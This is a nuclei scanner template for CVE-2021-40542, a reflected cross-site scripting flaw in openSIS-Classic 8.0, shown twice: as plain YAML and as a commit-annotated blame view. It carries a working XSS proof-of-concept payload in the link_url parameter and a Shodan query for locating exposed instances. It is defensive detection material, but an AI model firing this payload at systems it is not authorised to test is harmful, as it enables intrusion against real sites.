nuclei-templates/cves/2021/CVE-2021-40542.yaml

id: CVE-2021-40542

info:
  name: Opensis-Classic 8.0 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: |
    Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.
  reference:
    - https://github.com/OS4ED/openSIS-Classic/issues/189
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40542
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40542
    cwe-id: CWE-79
  metadata:
    shodan-query: http.title:"openSIS"
  tags: xss,cve,cve2021,opensis

requests:
  - method: GET
    path:
      - '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/03/18
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`id: CVE-2021-40542`

			`info:`
Normalization of Cross-Site Scripting names (#5329) 2022-09-09 17:34:37 +00:00			`name: Opensis-Classic 8.0 - Cross-Site Scripting`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`author: alph4byt3`
			`severity: medium`
Dashboard Content Enhancements (#4268) Dashboard Content Enhancements 2022-04-29 19:58:07 +00:00			`description: \|`
			`Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`reference:`
			`- https://github.com/OS4ED/openSIS-Classic/issues/189`
			`- https://nvd.nist.gov/vuln/detail/CVE-2021-40542`
			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.1`
Classification CVE id fix in CVE-2021-40542.yaml 2022-04-22 16:21:28 +00:00			`cve-id: CVE-2021-40542`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00			`cwe-id: CWE-79`
Update CVE-2021-40542.yaml 2022-07-10 09:37:25 +00:00			`metadata:`
			`shodan-query: http.title:"openSIS"`
Update and rename CVE-2021-40542.yaml to cves/2021/CVE-2021-40542.yaml 2021-12-03 07:12:37 +00:00			`tags: xss,cve,cve2021,opensis`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00
			`requests:`
			`- method: GET`
			`path:`
Update and rename CVE-2021-40542.yaml to cves/2021/CVE-2021-40542.yaml 2021-12-03 07:12:37 +00:00			`- '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
			`words:`
Update and rename CVE-2021-40542.yaml to cves/2021/CVE-2021-40542.yaml 2021-12-03 07:12:37 +00:00			`- "</script><script>alert(document.domain)</script>"`
Create CVE-2021-40542.yaml 2021-11-25 18:22:30 +00:00
			`- type: word`
			`part: header`
			`words:`
			`- text/html`

			`- type: status`
			`status:`
			`- 200`
Dashboard Text Enhancements (#3927) Dashboard text enhancements 2022-03-17 17:01:45 +00:00
Dashboard Text Enhancements (#3948) Dashboard content enhancements 2022-03-22 03:48:47 +00:00			`# Enhanced by mp on 2022/03/18`